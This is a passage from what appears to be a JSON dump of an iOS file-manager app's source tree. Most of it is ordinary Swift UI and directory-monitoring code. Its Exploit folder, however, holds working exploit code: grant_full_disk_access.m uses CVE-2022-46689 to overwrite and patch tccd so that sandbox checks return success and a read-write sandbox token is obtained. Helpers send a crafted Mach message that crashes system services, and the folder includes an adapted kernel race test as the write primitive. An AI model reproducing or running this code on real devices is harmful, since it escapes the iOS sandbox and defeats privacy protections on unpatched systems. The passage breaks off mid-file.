imported</string>\n\t\t\t<key>UTTypeIconFiles</key>\n\t\t\t<array/>\n\t\t\t<key>UTTypeIdentifier</key>\n\t\t\t<string>public.item</string>\n\t\t\t<key>UTTypeTagSpecification</key>\n\t\t\t<dict/>\n\t\t</dict>\n\t</array>\n</dict>\n</plist>\n"
  },
  {
    "path": "Santander/Other/Alert++.swift",
    "content": "//\n//  Alert++.swift\n//  Derootifier\n//\n//  Created by Анохин Юрий on 15.04.2023.\n//\n\nimport UIKit\n\nvar currentUIAlertController: UIAlertController?\n\nextension UIApplication {\n    func dismissAlert(animated: Bool) {\n        DispatchQueue.main.async {\n            currentUIAlertController?.dismiss(animated: animated)\n        }\n    }\n    func alert(title: String, body: String, animated: Bool = true, withButton: Bool = true) {\n        DispatchQueue.main.async {\n            currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)\n            if withButton { currentUIAlertController?.addAction(.init(title: \"OK\", style: .cancel)) }\n            self.present(alert: currentUIAlertController!)\n        }\n    }\n    func confirmAlert(title: String, body: String, onOK: @escaping () -> (), noCancel: Bool) {\n        DispatchQueue.main.async {\n            currentUIAlertController = UIAlertController(title: title, message: body, preferredStyle: .alert)\n            if !noCancel {\n                currentUIAlertController?.addAction(.init(title: \"Cancel\", style: .cancel))\n            }\n            currentUIAlertController?.addAction(.init(title: \"OK\", style: noCancel ? .cancel : .default, handler: { _ in\n                onOK()\n            }))\n            self.present(alert: currentUIAlertController!)\n        }\n    }\n    func change(title: String, body: String) {\n        DispatchQueue.main.async {\n            currentUIAlertController?.title = title\n            currentUIAlertController?.message = body\n        }\n    }\n    \n    func present(alert: UIAlertController) {\n        if var topController = self.windows[0].rootViewController {\n            while let presentedViewController = topController.presentedViewController {\n                topController = presentedViewController\n            }\n            \n            topController.present(alert, animated: true)\n            // topController should now be your topmost view controller\n        }\n    }\n}\n\n"
  },
  {
    "path": "Santander/Other/BaseLayoutAnchorSupporting.swift",
    "content": "//\n//  BaseLayoutAnchorSupporting.swift\n//  Santander\n//\n//  Created by Serena on 08/10/2022\n//\n\t\n\nimport UIKit\n\n/// A Protocol defining the basic layout anchors of an object, such as  UIView or a UILayoutGuide\nprotocol BaseLayoutAnchorSupporting {\n    var leadingAnchor: NSLayoutXAxisAnchor { get }\n    var trailingAnchor: NSLayoutXAxisAnchor { get }\n    var topAnchor: NSLayoutYAxisAnchor { get }\n    var bottomAnchor: NSLayoutYAxisAnchor { get }\n}\n\nextension UILayoutGuide: BaseLayoutAnchorSupporting {}\nextension UIView: BaseLayoutAnchorSupporting {\n    /// Activates constraints which completely cover the other view with the current view\n    func constraintCompletely(to otherView: BaseLayoutAnchorSupporting) {\n        NSLayoutConstraint.activate([\n            self.leadingAnchor.constraint(equalTo: otherView.leadingAnchor),\n            self.trailingAnchor.constraint(equalTo: otherView.trailingAnchor),\n            self.topAnchor.constraint(equalTo: otherView.topAnchor),\n            self.bottomAnchor.constraint(equalTo: otherView.bottomAnchor)\n        ])\n    }\n}\n"
  },
  {
    "path": "Santander/Other/DiffableDataSourceItem.swift",
    "content": "//\n//  DiffableDataSourceItem.swift\n//  Santander\n//\n//  Created by Serena on 04/11/2022\n//\n\n\nimport UIKit\n\n/// Describes a generic item for diffable data sources,\n/// either being a section or an item\nenum DiffableDataSourceItem<Section: Hashable, Item: Hashable> {\n    case section(Section)\n    case item(Item)\n    \n    static func fromItems(_ items: [Item]) -> [DiffableDataSourceItem] {\n        return items.map { item in\n            return .item(item)\n        }\n    }\n}\n\nextension DiffableDataSourceItem: Hashable {}\n"
  },
  {
    "path": "Santander/Other/DirectoryMonitor.swift",
    "content": "//\n//  DirectoryMonitor.swift\n//  Santander\n//\n//  Created by Serena on 27/06/2022\n//\n//  Code originally written by Apple, modified for use by Serena A.\n\nimport Foundation\n\n/// A protocol that allows delegates of `DirectoryMonitor` to respond to changes in a directory.\nprotocol DirectoryMonitorDelegate: AnyObject {\n    func directoryMonitorDidObserveChange(directoryMonitor: DirectoryMonitor)\n}\n\nclass DirectoryMonitor {\n    // MARK: Properties\n\n    /// The `DirectoryMonitor`'s delegate who is responsible for responding to `DirectoryMonitor` updates.\n    weak var delegate: DirectoryMonitorDelegate?\n\n    /// A file descriptor for the monitored directory.\n    var monitoredDirectoryFileDescriptor: CInt = -1\n\n    /// A dispatch queue used for sending file changes in the directory.\n    let directoryMonitorQueue = DispatchQueue(label: \"directorymonitor\", attributes: .concurrent)\n\n    /// A dispatch source to monitor a file descriptor created from the directory.\n    var directoryMonitorSource: DispatchSource?\n\n    /// URL for the directory being monitored.\n    var path: Path\n    \n    init(path: Path) {\n        self.path = path\n    }\n    \n    // MARK: Monitoring\n\n    func startMonitoring() {\n        // Listen for changes to the directory (if we are not already).\n        if directoryMonitorSource == nil && monitoredDirectoryFileDescriptor == -1 {\n            // Open the directory referenced by URL for monitoring only.\n            monitoredDirectoryFileDescriptor = open((path.url as NSURL).fileSystemRepresentation, O_EVTONLY)\n\n            // We initialize directoryMonitorSource only if the path is readable\n            // otherwise, we'd encounter a crash\n            if path.isReadable {\n                // Define a dispatch source monitoring the directory for additions, deletions, and renamings.\n                directoryMonitorSource = DispatchSource.makeFileSystemObjectSource(fileDescriptor: monitoredDirectoryFileDescriptor, eventMask: .all, queue: directoryMonitorQueue) as? DispatchSource\n            }\n\n            // Define the block to call when a file change is detected.\n            directoryMonitorSource?.setEventHandler {\n                // Call out to the `DirectoryMonitorDelegate` so that it can react appropriately to the change.\n                self.delegate?.directoryMonitorDidObserveChange(directoryMonitor: self)\n            }\n\n            // Define a cancel handler to ensure the directory is closed when the source is cancelled.\n            directoryMonitorSource?.setCancelHandler {\n                close(self.monitoredDirectoryFileDescriptor)\n\n                self.monitoredDirectoryFileDescriptor = -1\n\n                self.directoryMonitorSource = nil\n            }\n\n            // Start monitoring the directory via the source.\n            directoryMonitorSource?.resume()\n        }\n    }\n\n    func stopMonitoring() {\n        // Stop listening for changes to the directory, if the source has been created.\n        if directoryMonitorSource != nil {\n            // Stop monitoring the directory via the source.\n            directoryMonitorSource?.cancel()\n        }\n    }\n}\n\n\n"
  },
  {
    "path": "Santander/Other/Exploit/grant_full_disk_access.h",
    "content": "// header for grant_full_disk_access created by haxi0\n@import Foundation;\n\n#ifndef grant_full_disk_access_\n#define grant_full_disk_access_h\n\n#include <stdio.h>\nvoid grant_full_disk_access(void (^completion)(NSError* _Nullable));\n#endif /* grant_full_disk_access_h */\n"
  },
  {
    "path": "Santander/Other/Exploit/grant_full_disk_access.m",
    "content": "@import Darwin;\n@import Foundation;\n@import MachO;\n\n#import <mach-o/fixup-chains.h>\n// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from\n// WDBFontOverwrite\n// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)\n// Please don't call this code on iOS 14 or below\n// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)\n#import \"helpers.h\"\n#import \"vm_unaligned_copy_switch_race.h\"\n\ntypedef NSObject* xpc_object_t;\ntypedef xpc_object_t xpc_connection_t;\ntypedef void (^xpc_handler_t)(xpc_object_t object);\nxpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,\n                                   xpc_object_t _Nullable const* values, size_t count);\nxpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,\n                                                    uint64_t flags);\nvoid xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);\nvoid xpc_connection_resume(xpc_connection_t connection);\nvoid xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,\n                                            dispatch_queue_t replyq, xpc_handler_t handler);\nxpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,\n                                                         xpc_object_t message);\nxpc_object_t xpc_bool_create(bool value);\nxpc_object_t xpc_string_create(const char* string);\nxpc_object_t xpc_null_create(void);\nconst char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);\n\nint64_t sandbox_extension_consume(const char* token);\n\n// MARK: - patchfind\n\nstruct grant_full_disk_access_offsets {\n  uint64_t offset_addr_s_com_apple_tcc_;\n  uint64_t offset_padding_space_for_read_write_string;\n  uint64_t offset_addr_s_kTCCServiceMediaLibrary;\n  uint64_t offset_auth_got__sandbox_init;\n  uint64_t offset_just_return_0;\n  bool is_arm64e;\n};\n\nstatic bool patchfind_sections(void* executable_map,\n                               struct segment_command_64** data_const_segment_out,\n                               struct symtab_command** symtab_out,\n                               struct dysymtab_command** dysymtab_out) {\n  struct mach_header_64* executable_header = executable_map;\n  struct load_command* load_command = executable_map + sizeof(struct mach_header_64);\n  for (int load_command_index = 0; load_command_index < executable_header->ncmds;\n       load_command_index++) {\n    switch (load_command->cmd) {\n      case LC_SEGMENT_64: {\n        struct segment_command_64* segment = (struct segment_command_64*)load_command;\n        if (strcmp(segment->segname, \"__DATA_CONST\") == 0) {\n          *data_const_segment_out = segment;\n        }\n        break;\n      }\n      case LC_SYMTAB: {\n        *symtab_out = (struct symtab_command*)load_command;\n        break;\n      }\n      case LC_DYSYMTAB: {\n        *dysymtab_out = (struct dysymtab_command*)load_command;\n        break;\n      }\n    }\n    load_command = ((void*)load_command) + load_command->cmdsize;\n  }\n  return true;\n}\n\nstatic uint64_t patchfind_get_padding(struct segment_command_64* segment) {\n  struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);\n  struct section_64* last_section = &section_array[segment->nsects - 1];\n  return last_section->offset + last_section->size;\n}\n\nstatic uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,\n                                            const char* needle) {\n  void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);\n  if (!str_offset) {\n    return 0;\n  }\n  uint64_t str_file_offset = str_offset - executable_map;\n  for (int i = 0; i < executable_length; i += 8) {\n    uint64_t val = *(uint64_t*)(executable_map + i);\n    if ((val & 0xfffffffful) == str_file_offset) {\n      return i;\n    }\n  }\n  return 0;\n}\n\nstatic uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {\n  // TCCDSyncAccessAction::sequencer\n  // mov x0, #0\n  // ret\n  static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};\n  void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));\n  if (!offset) {\n    return 0;\n  }\n  return offset - executable_map;\n}\n\nstatic uint64_t patchfind_got(void* executable_map, size_t executable_length,\n                              struct segment_command_64* data_const_segment,\n                              struct symtab_command* symtab_command,\n                              struct dysymtab_command* dysymtab_command,\n                              const char* target_symbol_name) {\n  uint64_t target_symbol_index = 0;\n  for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {\n    struct nlist_64* sym =\n        ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;\n    const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;\n    if (strcmp(sym_name, target_symbol_name)) {\n      continue;\n    }\n    // printf(\"%d %llx\\n\", sym_index, (uint64_t)(((void*)sym) - executable_map));\n    target_symbol_index = sym_index;\n    break;\n  }\n\n  struct section_64* section_array =\n      ((void*)data_const_segment) + sizeof(struct segment_command_64);\n  struct section_64* first_section = &section_array[0];\n  if (!(strcmp(first_section->sectname, \"__auth_got\") == 0 ||\n        strcmp(first_section->sectname, \"__got\") == 0)) {\n    return 0;\n  }\n  uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;\n\n  for (int i = 0; i < first_section->size; i += 8) {\n    uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);\n    uint64_t indirect_table_entry = (val & 0xfffful);\n    if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {\n      return first_section->offset + i;\n    }\n  }\n  return 0;\n}\n\nstatic bool patchfind(void* executable_map, size_t executable_length,\n                      struct grant_full_disk_access_offsets* offsets) {\n  struct segment_command_64* data_const_segment = nil;\n  struct symtab_command* symtab_command = nil;\n  struct dysymtab_command* dysymtab_command = nil;\n  if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,\n                          &dysymtab_command)) {\n    printf(\"no sections\\n\");\n    return false;\n  }\n  if ((offsets->offset_addr_s_com_apple_tcc_ =\n           patchfind_pointer_to_string(executable_map, executable_length, \"com.apple.tcc.\")) == 0) {\n    printf(\"no com.apple.tcc. string\\n\");\n    return false;\n  }\n  if ((offsets->offset_padding_space_for_read_write_string =\n           patchfind_get_padding(data_const_segment)) == 0) {\n    printf(\"no padding\\n\");\n    return false;\n  }\n  if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(\n           executable_map, executable_length, \"kTCCServiceMediaLibrary\")) == 0) {\n    printf(\"no kTCCServiceMediaLibrary string\\n\");\n    return false;\n  }\n  if ((offsets->offset_auth_got__sandbox_init =\n           patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,\n                         dysymtab_command, \"_sandbox_init\")) == 0) {\n    printf(\"no sandbox_init\\n\");\n    return false;\n  }\n  if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==\n      0) {\n    printf(\"no just return 0\\n\");\n    return false;\n  }\n  struct mach_header_64* executable_header = executable_map;\n  offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;\n\n  return true;\n}\n\n// MARK: - tccd patching\n\nstatic void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {\n  // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can\n  // re-use it until next reboot.\n  // Returns the sandbox token if there is one, or nil if there isn't one.\n  xpc_connection_t connection = xpc_connection_create_mach_service(\n      \"com.apple.tccd\", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);\n  xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {\n    NSLog(@\"xpc event handler: %@\", object);\n  });\n  xpc_connection_resume(connection);\n  const char* keys[] = {\n      \"TCCD_MSG_ID\",  \"function\",           \"service\", \"require_purpose\", \"preflight\",\n      \"target_token\", \"background_session\",\n  };\n  xpc_object_t values[] = {\n      xpc_string_create(\"17087.1\"),\n      xpc_string_create(\"TCCAccessRequest\"),\n      xpc_string_create(\"com.apple.app-sandbox.read-write\"),\n      xpc_null_create(),\n      xpc_bool_create(false),\n      xpc_null_create(),\n      xpc_bool_create(false),\n  };\n  xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));\n#if 0\n  xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);\n  NSLog(@\"%@\", response_message);\n\n#endif\n  xpc_connection_send_message_with_reply(\n      connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),\n      ^(xpc_object_t object) {\n        if (!object) {\n          NSLog(@\"object is nil???\");\n          completion(nil);\n          return;\n        }\n        NSLog(@\"response: %@\", object);\n        if ([object isKindOfClass:NSClassFromString(@\"OS_xpc_error\")]) {\n          NSLog(@\"xpc error?\");\n          completion(nil);\n          return;\n        }\n        NSLog(@\"debug description: %@\", [object debugDescription]);\n        const char* extension_string = xpc_dictionary_get_string(object, \"extension\");\n        NSString* extension_nsstring =\n            extension_string ? [NSString stringWithUTF8String:extension_string] : nil;\n        completion(extension_nsstring);\n      });\n}\n\nstatic NSData* patchTCCD(void* executableMap, size_t executableLength) {\n  struct grant_full_disk_access_offsets offsets = {};\n  if (!patchfind(executableMap, executableLength, &offsets)) {\n    return nil;\n  }\n\n  NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];\n  // strcpy(data.mutableBytes, \"com.apple.app-sandbox.read-write\", sizeOfStr);\n  char* mutableBytes = data.mutableBytes;\n  {\n    // rewrite com.apple.tcc. into blank string\n    *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;\n  }\n  {\n    // make offset_addr_s_kTCCServiceMediaLibrary point to \"com.apple.app-sandbox.read-write\"\n    // we need to stick this somewhere; just put it in the padding between\n    // the end of __objc_arrayobj and the end of __DATA_CONST\n    strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),\n           \"com.apple.app-sandbox.read-write\");\n    struct dyld_chained_ptr_arm64e_rebase targetRebase =\n        *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +\n                                                  offsets.offset_addr_s_kTCCServiceMediaLibrary);\n    targetRebase.target = offsets.offset_padding_space_for_read_write_string;\n    *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +\n                                              offsets.offset_addr_s_kTCCServiceMediaLibrary) =\n        targetRebase;\n    *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =\n        strlen(\"com.apple.app-sandbox.read-write\");\n  }\n  if (offsets.is_arm64e) {\n    // make sandbox_init call return 0;\n    struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {\n        .auth = 1,\n        .bind = 0,\n        .next = 1,\n        .key = 0,  // IA\n        .addrDiv = 1,\n        .diversity = 0,\n        .target = offsets.offset_just_return_0,\n    };\n    *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +\n                                                   offsets.offset_auth_got__sandbox_init) =\n        targetRebase;\n  } else {\n    // make sandbox_init call return 0;\n    struct dyld_chained_ptr_64_rebase targetRebase = {\n        .bind = 0,\n        .next = 2,\n        .target = offsets.offset_just_return_0,\n    };\n    *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =\n        targetRebase;\n  }\n  return data;\n}\n\nstatic bool overwrite_file(int fd, NSData* sourceData) {\n  for (int off = 0; off < sourceData.length; off += 0x4000) {\n    bool success = false;\n    for (int i = 0; i < 2; i++) {\n      if (unaligned_copy_switch_race(\n              fd, off, sourceData.bytes + off,\n              off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {\n        success = true;\n        break;\n      }\n    }\n    if (!success) {\n      return false;\n    }\n  }\n  return true;\n}\n\nstatic void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,\n                                                           NSError* _Nullable error)) {\n  char* targetPath = \"/System/Library/PrivateFrameworks/TCC.framework/Support/tccd\";\n  int fd = open(targetPath, O_RDONLY | O_CLOEXEC);\n  if (fd == -1) {\n    // iOS 15.3 and below\n    targetPath = \"/System/Library/PrivateFrameworks/TCC.framework/tccd\";\n    fd = open(targetPath, O_RDONLY | O_CLOEXEC);\n  }\n  off_t targetLength = lseek(fd, 0, SEEK_END);\n  lseek(fd, 0, SEEK_SET);\n  void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);\n\n  NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];\n  NSData* sourceData = patchTCCD(targetMap, targetLength);\n  if (!sourceData) {\n    completion(nil, [NSError errorWithDomain:@\"com.worthdoingbadly.fulldiskaccess\"\n                                        code:5\n                                    userInfo:@{NSLocalizedDescriptionKey : @\"Can't patchfind.\"}]);\n    return;\n  }\n\n  if (!overwrite_file(fd, sourceData)) {\n    overwrite_file(fd, originalData);\n    munmap(targetMap, targetLength);\n    completion(\n        nil, [NSError errorWithDomain:@\"com.worthdoingbadly.fulldiskaccess\"\n                                 code:1\n                             userInfo:@{\n                               NSLocalizedDescriptionKey : @\"Can't overwrite file: your device may \"\n                                                           @\"not be vulnerable to CVE-2022-46689.\"\n                             }]);\n    return;\n  }\n  munmap(targetMap, targetLength);\n\n  xpc_crasher(\"com.apple.tccd\");\n  sleep(1);\n  call_tccd(^(NSString* _Nullable extension_token) {\n    overwrite_file(fd, originalData);\n    xpc_crasher(\"com.apple.tccd\");\n    NSError* returnError = nil;\n    if (extension_token == nil) {\n      returnError =\n          [NSError errorWithDomain:@\"com.worthdoingbadly.fulldiskaccess\"\n                              code:2\n                          userInfo:@{\n                            NSLocalizedDescriptionKey : @\"tccd did not return an extension token.\"\n                          }];\n    } else if (![extension_token containsString:@\"com.apple.app-sandbox.read-write\"]) {\n      returnError = [NSError\n          errorWithDomain:@\"com.worthdoingbadly.fulldiskaccess\"\n                     code:3\n                 userInfo:@{\n                   NSLocalizedDescriptionKey : @\"tccd patch failed: returned a media library token \"\n                                               @\"instead of an app sandbox token.\"\n                 }];\n      extension_token = nil;\n    }\n    completion(extension_token, returnError);\n  });\n}\n\nvoid grant_full_disk_access(void (^completion)(NSError* _Nullable)) {\n  if (!NSClassFromString(@\"NSPresentationIntent\")) {\n    // class introduced in iOS 15.0.\n    // TODO(zhuowei): maybe check the actual OS version instead?\n    completion([NSError\n        errorWithDomain:@\"com.worthdoingbadly.fulldiskaccess\"\n                   code:6\n               userInfo:@{\n                 NSLocalizedDescriptionKey :\n                     @\"Not supported on iOS 14 and below: on iOS 14 the system partition is not \"\n                     @\"reverted after reboot, so running this may permanently corrupt tccd.\"\n               }]);\n    return;\n  }\n  NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory\n                                                                  inDomains:NSUserDomainMask][0];\n  NSURL* sourceURL =\n      [documentDirectory URLByAppendingPathComponent:@\"full_disk_access_sandbox_token.txt\"];\n  NSError* error = nil;\n  NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL\n                                                   encoding:NSUTF8StringEncoding\n                                                      error:&error];\n  if (cachedToken) {\n    int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);\n    if (handle > 0) {\n      // cached version worked\n      completion(nil);\n      return;\n    }\n  }\n  grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {\n    if (error) {\n      completion(error);\n      return;\n    }\n    int64_t handle = sandbox_extension_consume(extension_token.UTF8String);\n    if (handle <= 0) {\n      completion([NSError\n          errorWithDomain:@\"com.worthdoingbadly.fulldiskaccess\"\n                     code:4\n                 userInfo:@{NSLocalizedDescriptionKey : @\"Failed to consume generated extension\"}]);\n      return;\n    }\n    [extension_token writeToURL:sourceURL\n                     atomically:true\n                       encoding:NSUTF8StringEncoding\n                          error:&error];\n    completion(nil);\n  });\n}\n"
  },
  {
    "path": "Santander/Other/Exploit/helpers.h",
    "content": "#ifndef helpers_h\n#define helpers_h\n\nchar* get_temp_file_path(void);\nvoid test_nsexpressions(void);\nchar* set_up_tmp_file(void);\n\nvoid xpc_crasher(char* service_name);\n\nvoid respringBackboard(void);\nvoid respringFrontboard(void);\n\n#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))\n\n#endif /* helpers_h */\n"
  },
  {
    "path": "Santander/Other/Exploit/helpers.m",
    "content": "#import <Foundation/Foundation.h>\n#include <string.h>\n#include <mach/mach.h>\n#include <dirent.h>\n\nchar* get_temp_file_path(void) {\n  return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@\"AAAAs\"] fileSystemRepresentation]);\n}\n\n// create a read-only test file we can target:\nchar* set_up_tmp_file(void) {\n  char* path = get_temp_file_path();\n  printf(\"path: %s\\n\", path);\n  \n  FILE* f = fopen(path, \"w\");\n  if (!f) {\n    printf(\"opening the tmp file failed...\\n\");\n    return NULL;\n  }\n  char* buf = malloc(PAGE_SIZE*10);\n  memset(buf, 'A', PAGE_SIZE*10);\n  fwrite(buf, PAGE_SIZE*10, 1, f);\n  //fclose(f);\n  return path;\n}\n\nkern_return_t\nbootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);\n\nstruct xpc_w00t {\n  mach_msg_header_t hdr;\n  mach_msg_body_t body;\n  mach_msg_port_descriptor_t client_port;\n  mach_msg_port_descriptor_t reply_port;\n};\n\nmach_port_t get_send_once(mach_port_t recv) {\n  mach_port_t so = MACH_PORT_NULL;\n  mach_msg_type_name_t type = 0;\n  kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);\n  if (err != KERN_SUCCESS) {\n    printf(\"port right extraction failed: %s\\n\", mach_error_string(err));\n    return MACH_PORT_NULL;\n  }\n  printf(\"made so: 0x%x from recv: 0x%x\\n\", so, recv);\n  return so;\n}\n\n// copy-pasted from an exploit I wrote in 2019...\n// still works...\n\n// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )\n\nvoid xpc_crasher(char* service_name) {\n  mach_port_t client_port = MACH_PORT_NULL;\n  mach_port_t reply_port = MACH_PORT_NULL;\n\n  mach_port_t service_port = MACH_PORT_NULL;\n\n  kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);\n  if(err != KERN_SUCCESS){\n    printf(\"unable to look up %s\\n\", service_name);\n    return;\n  }\n\n  if (service_port == MACH_PORT_NULL) {\n    printf(\"bad service port\\n\");\n    return;\n  }\n\n  // allocate the client and reply port:\n  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);\n  if (err != KERN_SUCCESS) {\n    printf(\"port allocation failed: %s\\n\", mach_error_string(err));\n    return;\n  }\n\n  mach_port_t so0 = get_send_once(client_port);\n  mach_port_t so1 = get_send_once(client_port);\n\n  // insert a send so we maintain the ability to send to this port\n  err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);\n  if (err != KERN_SUCCESS) {\n    printf(\"port right insertion failed: %s\\n\", mach_error_string(err));\n    return;\n  }\n\n  err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);\n  if (err != KERN_SUCCESS) {\n    printf(\"port allocation failed: %s\\n\", mach_error_string(err));\n    return;\n  }\n\n  struct xpc_w00t msg;\n  memset(&msg.hdr, 0, sizeof(msg));\n  msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);\n  msg.hdr.msgh_size = sizeof(msg);\n  msg.hdr.msgh_remote_port = service_port;\n  msg.hdr.msgh_id   = 'w00t';\n\n  msg.body.msgh_descriptor_count = 2;\n\n  msg.client_port.name        = client_port;\n  msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send\n  msg.client_port.type        = MACH_MSG_PORT_DESCRIPTOR;\n\n  msg.reply_port.name        = reply_port;\n  msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;\n  msg.reply_port.type        = MACH_MSG_PORT_DESCRIPTOR;\n\n  err = mach_msg(&msg.hdr,\n                 MACH_SEND_MSG|MACH_MSG_OPTION_NONE,\n                 msg.hdr.msgh_size,\n                 0,\n                 MACH_PORT_NULL,\n                 MACH_MSG_TIMEOUT_NONE,\n                 MACH_PORT_NULL);\n\n  if (err != KERN_SUCCESS) {\n    printf(\"w00t message send failed: %s\\n\", mach_error_string(err));\n    return;\n  } else {\n    printf(\"sent xpc w00t message\\n\");\n  }\n\n  mach_port_deallocate(mach_task_self(), so0);\n  mach_port_deallocate(mach_task_self(), so1);\n\n  return;\n}\n\nvoid respringBackboard(void) {\n  xpc_crasher(\"com.apple.backboard.TouchDeliveryPolicyServer\");\n}\n\nvoid respringFrontboard(void) {\n  // NOTE: This will not kill your app on some versions\n  // You may also need to exit(0) afterwards\n  xpc_crasher(\"com.apple.frontboard.systemappservices\");\n}\n"
  },
  {
    "path": "Santander/Other/Exploit/vm_unaligned_copy_switch_race.c",
    "content": "// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c\n// modified to compile outside of XNU\n\n#include <pthread.h>\n#include <dispatch/dispatch.h>\n#include <stdio.h>\n\n#include <mach/mach_init.h>\n#include <mach/mach_port.h>\n#include <mach/vm_map.h>\n\n#include <fcntl.h>\n#include <sys/mman.h>\n\n#include \"vm_unaligned_copy_switch_race.h\"\n\n#define T_QUIET\n#define T_EXPECT_MACH_SUCCESS(a, b)\n#define T_EXPECT_MACH_ERROR(a, b, c)\n#define T_ASSERT_MACH_SUCCESS(a, b, ...)\n#define T_ASSERT_MACH_ERROR(a, b, c)\n#define T_ASSERT_POSIX_SUCCESS(a, b)\n#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c \"\\n\"); exit(1); }}while(0)\n#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c \"\\n\"); exit(1); }}while(0)\n#define T_ASSERT_TRUE(a, b, ...)\n#define T_LOG(a, ...) fprintf(stderr, a \"\\n\", __VA_ARGS__)\n#define T_DECL(a, b) static void a(void)\n#define T_PASS(a, ...) fprintf(stderr, a \"\\n\", __VA_ARGS__)\n\nstruct context1 {\n\tvm_size_t obj_size;\n\tvm_address_t e0;\n\tmach_port_t mem_entry_ro;\n\tmach_port_t mem_entry_rw;\n\tdispatch_semaphore_t running_sem;\n\tpthread_mutex_t mtx;\n\tvolatile bool done;\n};\n\nstatic void *\nswitcheroo_thread(__unused void *arg)\n{\n\tkern_return_t kr;\n\tstruct context1 *ctx;\n\n\tctx = (struct context1 *)arg;\n\t/* tell main thread we're ready to run */\n\tdispatch_semaphore_signal(ctx->running_sem);\n\twhile (!ctx->done) {\n\t\t/* wait for main thread to be done setting things up */\n\t\tpthread_mutex_lock(&ctx->mtx);\n\t\tif (ctx->done) {\n      pthread_mutex_unlock(&ctx->mtx);\n\t\t\tbreak;\n\t\t}\n\t\t/* switch e0 to RW mapping */\n\t\tkr = vm_map(mach_task_self(),\n\t\t    &ctx->e0,\n\t\t    ctx->obj_size,\n\t\t    0,         /* mask */\n\t\t    VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,\n\t\t    ctx->mem_entry_rw,\n\t\t    0,\n\t\t    FALSE,         /* copy */\n\t\t    VM_PROT_READ | VM_PROT_WRITE,\n\t\t    VM_PROT_READ | VM_PROT_WRITE,\n\t\t    VM_INHERIT_DEFAULT);\n\t\tT_QUIET; T_EXPECT_MACH_SUCCESS(kr, \" vm_map() RW\");\n\t\t/* wait a little bit 